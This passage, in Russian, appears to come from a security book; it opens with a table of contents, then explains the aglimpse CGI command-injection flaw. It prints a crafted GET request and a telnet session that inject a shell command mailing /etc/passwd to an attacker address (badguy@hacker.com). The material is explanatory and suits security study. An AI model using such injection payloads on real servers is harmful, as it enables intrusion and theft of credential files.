- •Формальные модели шифров
- •Математическая модель шифра замены
- •Шифры, не распространяющие искажений типа «замена знаков»
- •Шифры, не распространяющие искажений типа «пропуск-вставка знаков»
- •Последовательность атаки
- •Переполнение буфера
- •Что такое переполнение буфера
- •Принцип действия
- •Виды переполнения буфера
- •Почему так много уязвимых программ
- •Способ защиты
- •Десять примеров переполнения буфера
- •Что такое netcat?
- •Способ применения
- •Эксплоиты для взлома nt
- •Брешь в безопасности rds службы iis
- •Совместно используемые ресурсы
- •Взлом с помощью относительного пути
- •Захват dsn с использованием утилит odbc Datasource
- •Поглощение ресурсов процессора с использованием mstask.Exe и Microsoft Internet Explorer
- •Запуск программ с помощью ie 5.X или Outlook
- •Запуск команд на Web-сервере с помощью iis 5.0
- •Возможность подмены контроллера домена в wins
- •Методы взлома unix
- •Что такое cgi-программа?
- •Принцип работы
- •Подробное описание
- •Способ применения
- •Симптомы атаки
- •Методы защиты
- •Подробное описание
- •Способ применения
- •Симптомы атаки
- •Методы защиты
- •Версия ос
- •XTest позволяет клиенту переправлять события другому клиенту. Такими событиями могут быть нажатия клавиш. При этом событие через сервер может пересьиаться другому клиенту в
- •Дополнительная информация
- •Люки и троянские кони
- •Подмена системных утилит
- •Подмена на уровне файлов
- •Защита от подмены на файловом уровне
- •Наборы утилит для nt
- •Эксплоит Brown Orifice
- •Программы слияния
- •Сокрытие следов
- •Как скрыть следы
- •Файлы журналов
- •Файлы журналов Linux
- •Взгляд со стороны взломщика
- •Invisible.С — прячет все следы работы взломщика от имени пользователя root в системе.
- •Защита файлов журналов в unix
- •Регулярное проведение резервного копирования
- •Использование одноразовых носителей
- •Кодирование
- •Регулярный просмотр файлов журналов
- •Ведение журналов в nt
- •Взгляд со стороны взломщика
- •Защита файлов журналов в nt
- •Защита от изменений информации о файле
- •Дополнительные файлы
- •Защита от размещения дополнительных файлов
- •Сокрытие следов в сети
- •Общая картина
- •Сценарии взлома
- •Сканеры телефонных линий
- •Другие типы взлома
- •Переполнение буфера в bind 8.2
- •Взлом с помощью cookie
- •Области доступа snmp
- •Анализ сетевых пакетов и dsniff
- •Взлом pgp adk
- •Уязвимость паролей cisco ios
- •1. Получить файлы настройки через snmp
- •Вклинивание в процесс передачи ключа
- •Взлом с нттр-туннелированием
Принцип работы
CGI-сценарий aglimpse вызывается с помощью метода HTTP GET. Данный эксплоит пользуется тем, что сценарий недостаточно тщательно проверяет передаваемые ему данные. В результате удается вместо вывода данных на экран произвести выполнение на сервере команд, которые не были предусмотрены программистами.
Эта проблема часто встречается в области CGI-приложений. Создатели приложения считают, что ему будут передаваться только те значения, которые предусмотрены формой. К сожалению, любой может вручную ввести URL в строке адреса, или вручную запустить HTTP-сеанс с помощью telnet. Создатель CGI-приложения никогда не может быть уверен в том, что входные данные будут именно такими, как он ожидает.
Взломщик может вручную скомпоновать строку URL и вставить в нее управляющие символы таким образом, что она будет интерпретирована как команда, выполняемая сервером. Таким образом, если программист будет ожидать, что ввод будет производится только с помощью формы, программа может не обнаружить управляющих символов и передать команды на выполнение.
Подробное описание
Сценарий aglimse можно обмануть и заставить запустить любую программу, если правильно сконструировать передаваемую ему строку запроса. В приведенном ниже примере взломщик заставляет сценарий отправить ему по почте файл /etc/passwd:
GET /cgi-
bin/aglimpse/80|IFS=5;CMD=5mail5badguy\@hacker.com\</etc/passwd;
eval$CMD;echo
В этом файле обычно хранятся зашифрованные пароли пользователей. После того как взломщик получит этот файл, он может попытаться подобрать пароли пользователей. Это только один пример того, как взломщик может использовать aglimpse для дальнейшего взлома системы.
Обратите внимание, что символы @ и < экранированы символом обратной косой черты. Таким образом взломщик добивается того, что эти символы передаются операционной системе и не обрабатываются CGI-приложением. Если бы в приложении проводилась проверка того, что строка имеет правильный формат, и обрабатывались только разрешенные команды, такой взлом можно было бы предотвратить.
Взломщик может создать запрос HTTP GET вручную с помощью telnet, или введя URL в строке адреса своего броузера. Поскольку сервер не может узнать, какая программа подключилась к порту 80, он выполняет aglimpse после получения запроса GET. в котором передаются команды взломщика. В ответе сценария вряд ли будут находиться данные, интересующие взломщика, поскольку команда передается операционной системе и не производит вывода полезных данных. В этом примере информация передается по электронной почте, однако она может передаваться любым другим путем.
Способ применения
С помощью программы telnet, которая поставляется почти со всеми операционными системами, взломщик может подключиться к порту 80 взламываемой системы и провести атаку. Ниже приведен листинг telnet сеанса, в котором проводится взлом.
> telnet 192.168.1.1 80
Trying 192.168.1.1
connected to somehost.com
Escape character is '^l' '
GET /cgi-
bin/aglimpse/80|IFS=5;CMD=5mail5’ $mail’\</etc/passwd,eval$CMD;echo\nHTTP/1'0
server stuff
…
В данном сеансе пользователь отдал сценарию aglimpse команду отправить ему содержимое файла /etc/passwd по почте. В некоторых системах, особенно старых, в этом файле хранятся зашифрованные пароли пользователей. После получения файла взломщик может попробовать взломать эти пароли. Даже если для хранения паролей используется файл /etc/shadow, взломщик может получить и его. Чтение данных из файла /etc/shadow требует наличия полномочий суперпользователя. Кроме того, aglimpse позволяет получить информацию о настройке системы, чтобы обнаружить другие пробелы в системе безопасности или изменить файлы, принадлежащие тому пользователю, от имени которого запущен Web-сервер.